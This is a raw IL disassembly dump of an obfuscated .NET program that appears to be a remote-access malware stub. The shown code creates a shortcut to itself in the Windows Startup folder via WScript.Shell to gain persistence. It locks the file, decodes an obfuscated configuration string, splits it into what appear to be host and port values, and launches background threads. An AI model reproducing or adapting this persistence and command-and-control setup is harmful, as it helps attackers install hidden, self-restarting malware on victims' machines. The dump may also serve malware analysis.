Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0265: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_13 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldloc.s V_13 stelem.ref <null> ldloc.s V_16 stloc.s V_17 ldloc.s V_17 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_18 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_18 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02EA: stloc.s V_19 ldloc.s V_17 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_13 stloc.s V_19 ldloc.s V_19 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_20 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_19 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_20 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_19 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_19 ldloc.s V_13 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::HRAIuUYqV93XJKLQ2mz8Vcn5EuT49cs0tlGjVm3Eb leave.s IL_0369: ldsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_14 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0369: ldsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 ldsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 call System.String Stub.dM3fUtUIFlpx409VB6zF65B::QGy6QOO3kLa78nnnukoUx06(System.String) stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_21 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stsfld System.String D88m2lSo647eLkftai9F4u7::l4aOtnrQNK9TKWrza0yUAHY ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_21 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.1 <null> ldelem.ref <null> stsfld System.String D88m2lSo647eLkftai9F4u7::ddTCodiAmCl4DAP6LdP49rH call System.Void Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::S4azmt3kaCIANsu6W1WD9hPBIZiWjw39Evh3ZaiSu() ldnull <null> ldftn System.Void Stub.dM3fUtUIFlpx409VB6zF65B::fPu0alwqpIhzkcGPDkdipTZ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.NNlJT3PYOdBHn5ckt775KjG::8O5gp0ZEnBw0aM0ui8Eifgw() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03DA: ldnull call System.Void Stub.KXuiIbgJj6jGo0AbQHsVWi8biAr9Y6ekhbgERObQX::zrOW4qUaZO7evOLmdTbzqPDujNbrCiTVoIn2Rk4y5() ldnull <null> ldftn System.Void Stub.dM3fUtUIFlpx409VB6zF65B::Ld5DYIHBMRoAe3oraZSFJdi() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldnull <null> ldftn System.Void Stub.dM3fUtUIFlpx409VB6zF65B::OUXYQ1wuTGVy5yKAKDZTCSi() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |